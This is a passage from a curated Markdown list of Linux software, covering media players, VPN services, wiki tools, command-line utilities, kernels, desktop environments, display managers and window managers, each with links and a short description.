(RSI). ### Video - [![Open-Source Software][oss icon]](https://github.com/xylosper/bomi) [Bomi Player](https://bomi-player.github.io/) - A powerful and easy-to-use multimedia player. - [![Open-Source Software][oss icon]](https://github.com/celluloid-player/celluloid) [Celluloid](https://celluloid-player.github.io/) - Simple GTK+ frontend for mpv. - [![Open-Source Software][oss icon]](https://github.com/GNOME/cheese) [Cheese](https://wiki.gnome.org/Apps/Cheese) - Cheese uses your webcam to take photos and videos, applies fancy special effects and lets you share the fun with others. - [![Open-Source Software][oss icon]](https://github.com/Rafostar/clapper) [Clapper](https://rafostar.github.io/clapper/) - A GNOME media player built using GJS with GTK4 toolkit and powered by GStreamer with OpenGL rendering. - [Emby Theater](https://emby.media/emby-theater-linux.html) - Emby Server's official media player. - [![Open-Source Software][oss icon]](https://github.com/FFmpeg/FFmpeg) [FFmpeg](https://www.ffmpeg.org/) - FFmpeg is a collection of libraries and tools to process multimedia content such as audio, video, subtitles and related metadata. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/haruna) [Haruna](https://haruna.kde.org/) - Open source video player built with Qt/QML and libmpv. - [![Open-Source Software][oss icon]](https://github.com/jellyfin/jellyfin-media-player) [Jellyfin Media Player](https://jellyfin.org/) - Jellyfin Desktop Client based on Plex Media Player. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/kamoso) [Kamoso](https://apps.kde.org/kamoso/) - Kamoso is a simple and friendly program to use your camera. Use it to take pictures and make videos to share. - [![Open-Source Software][oss icon]](https://github.com/xbmc/xbmc) [Kodi](https://kodi.tv/about/) - An award-winning free and open source (GPL) software media center for playing videos, music, pictures, games, and more. - [![Open-Source Software][oss icon]](https://github.com/mifi/lossless-cut) [LosslessCut](https://github.com/mifi/lossless-cut) - The swiss army knife of lossless video/audio editing. - [![Open-Source Software][oss icon]](https://github.com/pculture/miro) [Miro](https://www.getmiro.com/) - Free, and open video, music and internet TV application; it brings video channels from thousands of sources and has more free HD than any other platform. - [![Open-Source Software][oss icon]](https://github.com/lettier/movie-monad) [Movie Monad](https://lettier.github.io/movie-monad) - A free and simple to use video player made with Haskell. - [![Open-Source Software][oss icon]](http://www.mplayerhq.hu/design7/dload.html) [MPlayer](http://www.mplayerhq.hu/design7/news.html) - MPlayer is a movie player which runs on many systems, play any kind of videos. - [![Open-Source Software][oss icon]](https://github.com/mpv-player/mpv) [MPV](https://www.mpv.io) - A free, open source, and cross-platform media player. - [Plex](https://www.plex.tv/) - Plex is a media server and streaming platform that organizes, streams, and shares your digital media content. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/smplayer/code/HEAD/tree/) [SMPlayer](https://www.smplayer.info/) - Free Media Player with built-in codecs. Play all audio and video formats. - [![Open-Source Software][oss icon]](https://github.com/Stremio) [Stremio](https://www.stremio.com/) - Stremio is a modern media center that's a one-stop solution for your video entertainment. - [![Open-Source Software][oss icon]](https://gitlab.com/jonata/subtitld) [Subtitld](https://subtitld.org/) - Subtitld is an open source software to edit, transcribe and create subtitles. - [SVP](https://www.svp-team.com/w/index.php?title=Main_Page) - SVP allows you to watch any video on your desktop computer using frame interpolation as it is available on high-end TVs and projectors. - [![Open-Source Software][oss icon]](https://www.videolan.org/vlc/download-sources.html) [VLC](https://www.videolan.org/vlc/index.html) - VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVDs, Audio CDs, VCDs, and various streaming protocols. ### VPN - ![Nonfree][money icon][CyberGhost](https://www.cyberghostvpn.com/en_US/) - CyberGhost VPN allows you to surf the Internet freely, as if in disguise, regardless of the type of application you use and from where you log in. - ![Nonfree][money icon][ExpressVPN](https://www.expressvpn.com/) - ExpressVPN is the worlds fastest VPN service. It is both safe and reliable to watch and stream movies abroad, or simply access your favourite sites. - ![Nonfree][money icon][IVPN](https://www.ivpn.net/) - IVPN offers a secure VPN service to privacy minded individuals including multi-hop technology and fast bandwidth. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/mozilla-mobile/mozilla-vpn-client) [Mozilla VPN](https://www.mozilla.org/en-US/products/vpn/) - Protect your web history, feel safer on public Wi-Fi, and limit ad tracking by increasing the security of your network connection. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/mullvad/mullvadvpn-app) [Mullvad](https://mullvad.net/en/) - Mullvad is a VPN service that helps keep your online activity, identity, and location private. - ![Nonfree][money icon][NordVPN](https://nordvpn.com/) - NordVPN gives you military-grade protection online, and you can access all your favorite sites without restriction. - [![Open-Source Software][oss icon]](https://github.com/OpenVPN) [OpenVPN](https://openvpn.net/) - OpenVPN is a virtual private network (VPN) system that implements techniques to create secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It implements both client and server applications. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/pia-foss/desktop) [Private Internet Access](https://www.privateinternetaccess.com/) - Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://protonvpn.com/) [ProtonVPN](https://protonvpn.com/) - High-speed Swiss VPN that safeguards your privacy. - ![Nonfree][money icon][PureVPN](https://www.purevpn.com/) - PureVPN is much more than your usual VPN services provider. It offers unparalleled security and anonymity, making it your only choice for a secure online browsing experience. - ![Nonfree][money icon][Surfshark](https://surfshark.com/) - All you need in a VPN and more in one easy-to-use app. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/tailscale) [Tailscale](https://tailscale.com/) - Tailscale is a WireGuard-based app that makes secure, private networks easy for teams of any scale. - ![Nonfree][money icon][![Open-Source Software][oss icon]](https://github.com/Windscribe/Desktop-App) [Windscribe](https://windscribe.net/) - Browse the web privately as it was meant to be. - [![Open-Source Software][oss icon]](https://www.wireguard.com/repositories/) [WireGuard](https://www.wireguard.com/) - WireGuard is an extremely simple yet fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPsec, while avoiding the massive headache. ### Wiki Software - [![Open-Source Software][oss icon]](https://github.com/splitbrain/dokuwiki) [DokuWiki](https://www.dokuwiki.org/dokuwiki) - A popular self-hostable wiki software with a large number of plugins. - [![Open-Source Software][oss icon]](https://git.joeyh.name/git/ikiwiki.git/) [ikiwiki](https://ikiwiki.info/) - ikiwiki is a wiki compiler. It converts wiki pages into HTML pages suitable for publishing on a website. Ikiwiki stores pages and history in a revision control system such as Subversion or Git. - [![Open-Source Software][oss icon]](https://github.com/Jermolene/TiddlyDesktop) [TiddlyDesktop](https://tiddlywiki.com/#TiddlyDesktop) - A desktop app for TiddlyWiki, an open-source personal wiki written in javascript, great if you're still searching for a good note-taking (and more) app. - [![Open-Source Software][oss icon]](https://git.launchpad.net/zim) [Zim](http://zim-wiki.org/) - A graphical text editor used to maintain a collection of wiki pages, great for notes and documents. Stored in plain text files for easy version control. ### Others - [![Open-Source Software][oss icon]](https://displaycal.net/#download) [DisplayCAL](https://displaycal.net/) - Open Source Display Calibration and Characterization powered by ArgyllCMS. - [![Open-Source Software][oss icon]](https://github.com/fontforge/fontforge) [FontForge](https://fontforge.github.io) - Free (libre) font editor for Windows, Mac OS X and GNU+Linux. - [![Open-Source Software][oss icon]](https://git.launchpad.net/grub-customizer) [GrubCustomizer](https://launchpad.net/grub-customizer) - Grub Customizer is a graphical interface to configure the GRUB2/BURG settings and menuentries. - [![Open-Source Software][oss icon]](https://invent.kde.org/education/labplot) [Labplot](https://labplot.kde.org/) - LabPlot is a KDE-application for interactive graphing and analysis of scientific data. - [![Open-Source Software][oss icon]](https://github.com/MycroftAI/mycroft-core) [Mycroft](https://mycroft.ai/) - Mycroft is a hackable open source voice assistant. - [![Open-Source Software][oss icon]](https://gitlab.com/CalcProgrammer1/OpenRGB) [OpenRGB](https://openrgb.org/) - Open source RGB lighting control that doesn't depend on manufacturer software. For Windows, Linux, MacOS. - [![Open-Source Software][oss icon]](https://github.com/libratbag/piper) [Piper](https://github.com/libratbag/piper) - Piper is a GTK+ application to configure gaming mice. - [![Open-Source Software][oss icon]](https://github.com/polychromatic/polychromatic) [Polychromatic](https://polychromatic.app/) - Graphical front end and tray applet for configuring Razer peripherals on GNU/Linux. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/refind/) [rEFInd](https://www.rodsbooks.com/refind/) - rEFInd is a fork of the rEFIt boot manager. Like rEFIt, rEFInd can auto-detect your installed EFI boot loaders and it presents a pretty GUI menu of boot options. - [![Open-Source Software][oss icon]](https://github.com/z411/trackma) [trackma](https://z411.github.io/trackma/) - Open multi-site list manager for Unix-like systems. ## Command Line Utilities ### Internet - [![Open-Source Software][oss icon]](https://github.com/federicotorrielli/Daily-Reddit-Wallpaper) [Daily Reddit Wallpaper](https://federicotorrielli.github.io/Daily-Reddit-Wallpaper/) - Change your wallpaper to the most upvoted image of the day from /r/wallpapers or any other subreddit on system startup. - [![Open-Source Software][oss icon]](https://github.com/jarun/ddgr) [ddgr](https://github.com/jarun/ddgr) - DuckDuckGo from the command line. - [![Open-Source Software][oss icon]](https://dnscrypt.info/) [dnscrypt-proxy](https://github.com/DNSCrypt/dnscrypt-proxy) - DNS proxy with support for encrypted DNS protocols,cross platform. - [![Open-Source Software][oss icon]](https://github.com/mikf/gallery-dl) [gallery-dl](https://github.com/mikf/gallery-dl) - Command-line program to download image galleries and collections from pixiv, exhentai, danbooru and more. - [![Open-Source Software][oss icon]](https://github.com/jarun/googler) [Googler](https://github.com/jarun/googler) - A program that can Google anything right in the command line. - [![Open-Source Software][oss icon]](https://i2pd.website/) [i2pd](https://github.com/PurpleI2P/i2pd) - I2P daemon written in C++. - [![Open-Source Software][oss icon]](https://github.com/mps-youtube/mps-youtube) [mps-youtube](https://github.com/mps-youtube/mps-youtube) - A terminal based program for searching, streaming and downloading music. This implementation uses YouTube as a source of content and can play and download video as well as audio. - [![Open-Source Software][oss icon]](https://gitlab.com/muttmua/mutt) [Mutt](http://www.mutt.org/) - A terminal based mail client with vim keybindings and great flexibility and customizability. - [![Open-Source Software][oss icon]](https://github.com/newsboat/newsboat) [Newsboat](https://newsboat.org/) - Newsboat is a fork of Newsbeuter, an RSS/Atom feed reader for the text console. - [![Open-Source Software][oss icon]](https://github.com/orakaro/rainbowstream) [Rainbow Stream](https://github.com/orakaro/rainbowstream) - A smart and nice Twitter client on terminal written in Python. - [![Open-Source Software][oss icon]](https://gitlab.com/aaronNG/reddio) [reddio](https://gitlab.com/aaronNG/reddio) - A command-line interface for Reddit written in POSIX sh. - [![Open-Source Software][oss icon]](https://github.com/streamlink/streamlink) [Streamlink](https://streamlink.github.io/) - Streamlink is a CLI utility which pipes video streams from various services into a video player. - [![Open-Source Software][oss icon]](https://github.com/sdushantha/tmpmail) [tmpmail](https://github.com/sdushantha/tmpmail) - A temporary email right from your terminal written in POSIX sh. - [![Open-Source Software][oss icon]](https://github.com/soimort/translate-shell) [translate-shell](https://www.soimort.org/translate-shell) - Command-line translator using Google Translate, Bing Translator, Yandex.Translate, etc. - [![Open-Source Software][oss icon]](https://github.com/vasani-arpit/WBOT) [WBOT](https://github.com/vasani-arpit/WBOT) - A simple CLI based BOT for WhatsApp™ in NodeJS. reply to your friends quickly and have fun along the way. - [![Open-Source Software][oss icon]](https://github.com/iamtalhaasghar/yewtube) [yewtube](https://github.com/iamtalhaasghar/yewtube) - Terminal based YouTube player and downloader. No Youtube API key required. Forked from mps-youtube. Can be installed using pip as described [here](https://github.com/iamtalhaasghar/yewtube#using-pip). - [![Open-Source Software][oss icon]](https://github.com/rg3/youtube-dl) [youtube-dl](https://rg3.github.io/youtube-dl/) - youtube-dl is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter (2.6, 2.7, or 3.2+), and it is not platform specific. - [![Open-Source Software][oss icon]](https://github.com/yt-dlp/yt-dlp) [yt-dlp](https://github.com/yt-dlp/yt-dlp) - A youtube-dl fork with additional features and fixes. - [![Open-Source Software][oss icon]](https://github.com/deepjyoti30/ytmdl) [ytmdl](https://github.com/deepjyoti30/ytmdl) - A simple app to get songs from YouTube in mp3 format with artist name, album name etc from sources like iTunes, Spotify, LastFM, Deezer, Gaana etc. ### System Info / Monitoring - [![Open-Source Software][oss icon]](https://github.com/AdnanHodzic/auto-cpufreq) [auto-cpufreq](https://github.com/AdnanHodzic/auto-cpufreq) - Automatic CPU speed & power optimizer for Linux. - [![Open-Source Software][oss icon]](https://github.com/ClementTsang/bottom) [bottom](https://clementtsang.github.io/bottom/nightly/) - Yet another cross-platform graphical process/system monitor. - [![Open-Source Software][oss icon]](https://github.com/aristocratos/bpytop) [bpytop](https://github.com/aristocratos/bpytop) - Resource monitor that shows usage and stats for processor, memory, disks, network and processes. Python port and continuation of bashtop. - [![Open-Source Software][oss icon]](https://github.com/aristocratos/btop) [btop](https://github.com/aristocratos/btop) - Resource monitor that shows usage and stats for processor, memory, disks, network and processes. - [![Open-Source Software][oss icon]](https://github.com/nicolargo/glances) [Glances](https://nicolargo.github.io/glances/) - Glances is a system monitoring terminal application that shows you your disk usage, ram usage, and cpu usage in a very friendly way using the Ncurses programming library. It is tolerant to windows resizing, and very low on system ram usage. - [![Open-Source Software][oss icon]](https://github.com/aksakalli/gtop) [gtop](https://github.com/aksakalli/gtop) - A system monitoring dashboard for terminal. Think 'graphical top', with bar charts, line graphs, pie charts, and etc. - [![Open-Source Software][oss icon]](https://github.com/hishamhm/htop) [htop](https://hisham.hm/htop/) - An interactive process viewer for Unix systems with improved features and user experience. - [![Open-Source Software][oss icon]](https://github.com/sharkdp/hyperfine) [hyperfine](https://github.com/sharkdp/hyperfine) - A command-line benchmarking tool. - [![Open-Source Software][oss icon]](https://github.com/orhun/kmon) [kmon](https://kmon.cli.rs/) - Linux Kernel Manager and Activity Monitor. - [![Open-Source Software][oss icon]](https://github.com/dylanaraps/neofetch) [Neofetch](https://github.com/dylanaraps/neofetch) - A fast, highly customizable system info script that supports Linux, MacOS, iOS, BSD, Solaris, Android, Haiku, GNU Hurd, MINIX, AIX and Windows. - [![Open-Source Software][oss icon]](https://github.com/Syllo/nvtop) [NVTOP](https://github.com/Syllo/nvtop) - GPUs process monitoring for AMD, Intel and NVIDIA. - [![Open-Source Software][oss icon]](https://github.com/dylanaraps/pfetch) [pfetch](https://github.com/dylanaraps/pfetch) - A pretty system information tool written in POSIX sh. - [![Open-Source Software][oss icon]](https://github.com/KittyKatt/screenFetch) [screenFetch](https://github.com/KittyKatt/screenFetch) - Fetches system/theme information in terminal for Linux desktop screenshots. - [![Open-Source Software][oss icon]](https://github.com/amanusk/s-tui) [s-tui](https://amanusk.github.io/s-tui/) - s-tui is an UI for monitoring your computer's CPU temperature, frequency and utilization in a graphical way from the terminal. ### Tools - [![Open-Source Software][oss icon]](https://github.com/FiloSottile/age) [Age](https://github.com/FiloSottile/age) - Simple, Modern, Secure encryption tool. - [![Open-Source Software][oss icon]](https://github.com/sharkdp/bat) [bat](https://github.com/sharkdp/bat) - A cat clone with syntax highlighting and Git integration. - [![Open-Source Software][oss icon]](https://github.com/Canop/broot) [broot](https://dystroy.org/broot/) - A new way to see and navigate directory trees. - [![Open-Source Software][oss icon]](https://github.com/jarun/Buku) [Buku](https://github.com/jarun/Buku) - A Command line bookmark manager. - [![Open-Source Software][oss icon]](https://github.com/owenthereal/ccat) [ccat](https://github.com/owenthereal/ccat) - Colorizing `cat`. - [![Open-Source Software][oss icon]](https://github.com/Slackadays/Clipboard) [Clipboard](https://github.com/Slackadays/Clipboard) - Cut, copy, and paste anything, anywhere, anytime. - [![Open-Source Software][oss icon]](https://github.com/AlDanial/cloc) [Cloc](https://github.com/AlDanial/cloc) - Count Lines of Code: cloc counts blank lines, comment lines, and physical lines of source code in many programming languages. - [![Open-Source Software][oss icon]](https://github.com/athityakumar/colorls) [Color LS](https://github.com/athityakumar/colorls) - Color Ls is a Ruby Gem that spices up the ls command and shows more visually than ls does without additional commands. - [![Open-Source Software][oss icon]](https://github.com/maaslalani/draw) [draw](https://github.com/maaslalani/draw) - Draw in your terminal. - [![Open-Source Software][oss icon]](https://github.com/muesli/duf) [duf](https://github.com/muesli/duf) - Disk Usage/Free Utility - a better 'df' alternative. - [![Open-Source Software][oss icon]](https://github.com/ogham/exa) [exa](https://the.exa.website/) - exa is a modern replacement for ls. - [![Open-Source Software][oss icon]](https://github.com/sharkdp/fd) [fd](https://github.com/sharkdp/fd) - A simple, fast and user-friendly alternative to 'find'. - [![Open-Source Software][oss icon]](https://github.com/LubuntuFu/fishfry) [Fishfry](https://github.com/LubuntuFu/fishfry) - Replaces fish history with a history tailored to pentesters for efficiency and newbie pentesters for learning. - [![Open-Source Software][oss icon]](https://github.com/junegunn/fzf) [fzf](https://github.com/junegunn/fzf) - A general-purpose command-line fuzzy finder with interactive filter and preview feature for things like files, command history, git commits, hostnames, etc. - [![Open-Source Software][oss icon]](https://github.com/sindresorhus/fkill-cli) [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform. - [![Open-Source Software][oss icon]](https://github.com/heppu/gkill) [Gkill](https://github.com/heppu/gkill) - An interactive process killer for Linux. - [![Open-Source Software][oss icon]](https://github.com/orf/gping) [gping](https://github.com/orf/gping) - ping but with graph, cross platform. - [![Open-Source Software][oss icon]](https://github.com/oguzhaninan/korkut) [korkut](https://github.com/oguzhaninan/korkut) - Quick and simple image processing at the command line. - [![Open-Source Software][oss icon]](https://github.com/nojhan/liquidprompt) [Liquidprompt](https://github.com/nojhan/liquidprompt) - A full-featured & carefully designed adaptive prompt for Bash & Zsh. - [![Open-Source Software][oss icon]](https://github.com/busyloop/lolcat) [lolcat](https://github.com/busyloop/lolcat) - Displays text in rainbow colors. - [![Open-Source Software][oss icon]](https://github.com/Peltoche/lsd) [lsd](https://github.com/Peltoche/lsd) - The next gen ls command. - [![Open-Source Software][oss icon]](https://ezix.org/src/pkg/lshw) [lshw](http://lshw.ezix.org/) - Hardware Lister for Linux. - [![Open-Source Software][oss icon]](https://github.com/denisidoro/navi) [navi](https://github.com/denisidoro/navi) - An interactive cheatsheet tool for the command-line. - [![Open-Source Software][oss icon]](https://github.com/o2sh/onefetch) [Onefetch](https://onefetch.dev/) - Git repository summary on your terminal. - [![Open-Source Software][oss icon]](https://github.com/facebook/PathPicker) [PathPicker](https://github.com/facebook/PathPicker) - A command that lets you select files that were output from a previous command in the command line, so you can then run another command or edit them. - [![Open-Source Software][oss icon]](https://github.com/dylanaraps/pywal) [pywal](https://github.com/dylanaraps/pywal) - pywal is a script that takes an image (or a directory of images), generates a colorscheme (using imagemagick) and then changes all of your open terminal's colors to the new colorscheme on the fly, allowing you to have your terminal colors change with your wallpaper, or other criteria. - [![Open-Source Software][oss icon]](https://github.com/BurntSushi/ripgrep) [ripgrep](https://github.com/BurntSushi/ripgrep) - Ripgrep is a line-oriented search tool that recursively searches the current directory for a regex pattern. - [![Open-Source Software][oss icon]](https://github.com/maaslalani/slides) [slides](https://maaslalani.com/slides/) - Terminal based presentation tool. - [![Open-Source Software][oss icon]](https://github.com/ggreer/the_silver_searcher) [The Silver Searcher / Ag](https://geoff.greer.fm/ag/) - A code-searching tool similar to ack, but faster. - [![Open-Source Software][oss icon]](https://starship.rs/) [Starship](https://github.com/starship/starship) - A minimal, blazingly fast and infinitely customizable prompt for any shell, cross-platform. - [![Open-Source Software][oss icon]](https://github.com/nvbn/thefuck) [TheFuck](https://github.com/nvbn/thefuck) - Magnificent app which corrects your previous console command. - [![Open-Source Software][oss icon]](https://github.com/tldr-pages/tldr) [tldr-pages](https://tldr.sh/) - The tldr-pages project is a collection of community-maintained help pages for command-line tools, that aims to be a simpler, more approachable complement to traditional man pages. - [![Open-Source Software][oss icon]](https://github.com/dbrgn/tealdeer) [tealdeer](https://dbrgn.github.io/tealdeer/) - A very fast implementation of tldr written in Rust. - [![Open-Source Software][oss icon]](https://github.com/tmux/tmux) [Tmux](https://github.com/tmux/tmux) - It lets you switch easily between several programs in one terminal, detach them (they keep running in the background) and reattach them to a different terminal. And do a lot more. - [![Open-Source Software][oss icon]](https://github.com/jml/undistract-me) [undistract-me](https://github.com/jml/undistract-me) - A command line program that plays a sound or sends a notification when a long command has finished running in the command line. - [![Open-Source Software][oss icon]](https://github.com/hashicorp/vagrant) [vagrant](https://www.vagrantup.com/) - Vagrant is a tool for building and distributing development environments. - [![Open-Source Software][oss icon]](https://github.com/charmbracelet/vhs) [VHS](https://github.com/charmbracelet/vhs) - Your CLI home video recorder vhs - [wicd-curses](https://wiki.archlinux.org/index.php/wicd#Running_Wicd_in_Text_Mode) - Command line WiFi connection manager. - [![Open-Source Software][oss icon]](https://github.com/BurntSushi/xsv) [xsv](https://github.com/BurntSushi/xsv) - A fast CSV command line toolkit written in Rust. - [![Open-Source Software][oss icon]](https://github.com/skywind3000/z.lua) [z.lua](https://github.com/skywind3000/z.lua) - A new cd command that helps you navigate faster by learning your habits. - [![Open-Source Software][oss icon]](https://github.com/ajeetdsouza/zoxide) [zoxide](https://github.com/ajeetdsouza/zoxide) - A better way to navigate your filesystem written in Rust. - [![Open-Source Software][oss icon]](https://github.com/maximumadmin/zramd) [zramd](https://github.com/maximumadmin/zramd) - Automatically setup swap on zram sparkles with optional systemd support, a simpler alternative to zram-generator and systemd-swap ## Custom Linux Kernels - [![Open-Source Software][oss icon]](https://linux-libre.fsfla.org/pub/linux-libre/releases/) [GNU Linux-libre](https://www.fsfla.org/ikiwiki/selibre/linux-libre/) - GNU Linux-libre is a project to maintain and publish 100% Free distributions of Linux, suitable for use in Free System Distributions. - [![Open-Source Software][oss icon]](https://github.com/anthraxx/linux-hardened) [Linux-Hardened](https://github.com/anthraxx/linux-hardened) - A security-focused Linux kernel applying a set of hardening patches to mitigate kernel and userspace exploits. It also enables more upstream kernel hardening features than linux. - [![Open-Source Software][oss icon]](https://github.com/Frogging-Family/linux-tkg) [linux-tkg](https://github.com/Frogging-Family/linux-tkg) - Scripts to automatically download, patch and compile the Linux Kernel from the official Linux git repository, with a selection of patches aiming for better desktop/gaming experience. - [![Open-Source Software][oss icon]](https://github.com/damentz/liquorix-package) [Liquorix](https://liquorix.net) - Liquorix is a distro kernel replacement built using the best configuration and kernel sources for desktop, multimedia, and gaming workloads. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/xanmod/) [XanMod](https://xanmod.org/) - XanMod is a general-purpose Linux kernel distribution with custom settings and new features. Built to provide a stable, responsive and smooth desktop experience. - [![Open-Source Software][oss icon]](https://github.com/zen-kernel/zen-kernel) [Zen](https://github.com/zen-kernel/zen-kernel) - Result of a collaborative effort of kernel hackers to provide the best Linux kernel possible for everyday systems. ## Desktop Environments - [![Open-Source Software][oss icon]](https://github.com/BuddiesOfBudgie/budgie-desktop) [Budgie](https://buddiesofbudgie.org/) - Budgie is a desktop environment designed with the modern user in mind, it focuses on simplicity and elegance. - [![Open-Source Software][oss icon]](https://github.com/linuxmint/Cinnamon) [Cinnamon](https://projects.linuxmint.com/cinnamon/) - Cinnamon strives to provide a traditional user experience. Cinnamon is a fork of GNOME 3. - [![Open-Source Software][oss icon]](https://github.com/linuxdeepin/dde-file-manager/tree/develop2.0) [Deepin DE](https://www.deepin.org/en/dde/) - DDE (Deepin Desktop Environment) is the default desktop environment originally created for the Linux Deepin distribution. - [![Open-Source Software][oss icon]](https://git.enlightenment.org/enlightenment/efl) [Enlightenment](https://www.enlightenment.org/about) - A lightweight and pretty desktop environment that is designed to run fast and look good, while retaining a large degree of customization. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME) [GNOME](https://www.gnome.org/) - The GNOME desktop environment is an attractive and intuitive desktop with both a modern (GNOME) and a classic (GNOME Classic) session. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gnome-flashback) [GNOME Flashback](https://wiki.gnome.org/Projects/GnomeFlashback) - GNOME Flashback is a shell for GNOME 3 which was initially called GNOME fallback mode. The desktop layout and the underlying technology is similar to GNOME 2. - [![Open-Source Software][oss icon]](https://invent.kde.org/plasma/plasma-desktop) [KDE Plasma](https://www.kde.org/plasma-desktop) - The KDE Plasma desktop environment is a familiar working environment. Plasma Desktop offers all the tools required for a modern desktop computing experience so you can be productive right from the start. - [![Open-Source Software][oss icon]](https://github.com/lxde) [LXDE](https://lxde.org/) - The Lightweight X11 Desktop Environment is a fast and energy-saving desktop environment. - [![Open-Source Software][oss icon]](https://github.com/lxqt/lxqt) [LXQt](https://lxqt-project.org/) - LXQt is the Qt port and the upcoming version of LXDE, the Lightweight Desktop Environment. - [![Open-Source Software][oss icon]](https://github.com/mate-desktop/) [Mate](https://mate-desktop.com/) - Mate provides an intuitive and attractive desktop to Linux users using traditional metaphors. MATE is a fork of GNOME 2. - [![Open-Source Software][oss icon]](https://elementary.io/) [Pantheon](https://elementary.io/) - Pantheon is the default desktop environment originally created for the elementary OS distribution. - [![Open-Source Software][oss icon]](https://github.com/ukui/ukui-desktop-environment) [UKUI](https://www.ukui.org/) - UKUI is a desktop environment for Linux distributions and other UNIX-like operating systems, originally developed for Ubuntu Kylin, and written using the Qt framework. - [![Open-Source Software][oss icon]](https://github.com/ubports/unity8) [Unity](https://unity8.io/) - Unity is a shell for GNOME designed by Canonical for Ubuntu. - [![Open-Source Software][oss icon]](https://github.com/xfce-mirror) [Xfce](https://www.xfce.org/) - Xfce embodies the traditional UNIX philosophy of modularity and re-usability. ## Display manager ### Console - [![Open-Source Software][oss icon]](https://github.com/evertiro/cdm) [CDM](https://github.com/evertiro/cdm) - A ultra-minimalistic, yet full-featured login manager written in Bash. - [![Open-Source Software][oss icon]](https://github.com/dopsi/console-tdm) [Console TDM](https://github.com/dopsi/console-tdm) - An extension for xinit written in pure Bash. - [![Open-Source Software][oss icon]](https://github.com/coastalwhite/lemurs) [Lemurs](https://github.com/coastalwhite/lemurs) - A customizable TUI display/login manager written in Rust. - [![Open-Source Software][oss icon]](https://github.com/cylgom/ly) [Ly](https://github.com/cylgom/ly) - Ly is a lightweight, TUI (ncurses-like) display manager for Linux. - [![Open-Source Software][oss icon]](https://github.com/spanezz/nodm) [nodm](https://github.com/spanezz/nodm) - A minimalistic display manager for automatic logins. ### Graphic - [![Open-Source Software][oss icon]](https://github.com/tomas/entrance) [Entrance](https://enlightenment.org) - An EFL based display manager, highly experimental. - [![Open-Source Software][oss icon]](https://github.com/GNOME/gdm) [GDM](https://wiki.gnome.org/Projects/GDM) - The GNOME display manager. - [![Open-Source Software][oss icon]](https://github.com/davvid/lightdm) [LightDM](http://www.freedesktop.org/wiki/Software/LightDM) - A cross-desktop display manager, can use various front-ends written in any toolkit. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/lxdm/code/ci/master/tree/) [LXDM](http://sourceforge.net/projects/lxdm/) - The LXDE display manager. Can be used independent of the LXDE desktop environment. - [![Open-Source Software][oss icon]](https://github.com/linuxmint/mdm) [MDM](https://github.com/linuxmint/mdm) - The MDM display manager, used in Linux Mint, a fork of GDM 2. - [![Open-Source Software][oss icon]](https://github.com/sddm/sddm) [SDDM](https://github.com/sddm/sddm) - The QML-based display manager and successor to KDE4's kdm; recommended for Plasma 5 and LXQt. - [![Open-Source Software][oss icon]](https://github.com/gsingh93/slim-display-manager) [SLiM](http://sourceforge.net/projects/slim.berlios/) - Lightweight and elegant graphical login solution. (Discontinued) - [![Open-Source Software][oss icon]](https://github.com/bbidulock/xdm) [XDM](http://www.x.org/archive/X11R7.5/doc/man/man1/xdm.1.html) - The X display manager with support for XDMCP, and host chooser. ## Window Managers ### Compositors - [![Open-Source Software][oss icon]](https://github.com/yshui/compton) [Compton](https://github.com/yshui/compton) - Compton is a standalone composite manager, suitable for use with window managers that do not natively provide compositing functionality. - [![Open-Source Software][oss icon]](https://github.com/Plagman/gamescope) [Gamescope](https://github.com/Plagman/gamescope) - Gamescope is a micro-compositor that provides a sandboxed Xwayland desktop with independent input, resolution, and refresh rate. - [![Open-Source Software][oss icon]](https://github.com/hyprwm/Hyprland) [Hyprland](https://hyprland.org/) - Hyprland is a dynamic tiling Wayland compositor that doesn't sacrifice on its looks. - [![Open-Source Software][oss icon]](https://github.com/riverwm/river) [River](https://github.com/riverwm/river) - River is a dynamic tiling Wayland compositor with flexible runtime configuration. - [![Open-Source Software][oss icon]](https://github.com/swaywm/sway) [Sway](https://swaywm.org) - Sway is tiling Wayland compositor and a drop-in replacement for the i3 window manager for X11. - [![Open-Source Software][oss icon]](https://github.com/WayfireWM/wayfire) [Wayfire](https://wayfire.org/) - Wayfire is a wayland compositor based on wlroots. It aims to create a customizable, extendable and lightweight environment without sacrificing its appearance. - [![Open-Source Software][oss icon]](https://cgit.freedesktop.org/xorg/app/xcompmgr) [Xcompmgr](https://cgit.freedesktop.org/xorg/app/xcompmgr) - Xcompmgr is a simple composite manager capable of rendering drop shadows and, with the use of the transset utility, primitive window transparency. ### Stacking Window Managers - [![Open-Source Software][oss icon]](https://github.com/venam/2bwm) [2bwm](https://github.com/venam/2bwm) - A fast floating WM, with the particularity of having 2 borders, written over the XCB library and derived from mcwm. - [![Open-Source Software][oss icon]](https://github.com/bbidulock/blackboxwm) [Blackbox](https://github.com/bbidulock/blackboxwm) - A fast, lightweight window manager for the X Window System, without all those annoying library dependencies. - [![Open-Source Software][oss icon]](https://github.com/fluxbox/fluxbox) [Fluxbox](http://fluxbox.org) - A window manager for X that was based on the Blackbox 0.61.1 code. - [![Open-Source Software][oss icon]](https://github.com/ice-wm/icewm) [IceWM](https://ice-wm.org) - A window manager for the X Window System. The goal of IceWM is speed, simplicity, and not getting in the user’s way. - [![Open-Source Software][oss icon]](https://github.com/danakj/openbox) [Openbox](http://openbox.org) - A highly configurable, next generation window manager with extensive standards support. ### Tiling Window Managers - [![Open-Source Software][oss icon]](https://github.com/Bismuth-Forge/bismuth) 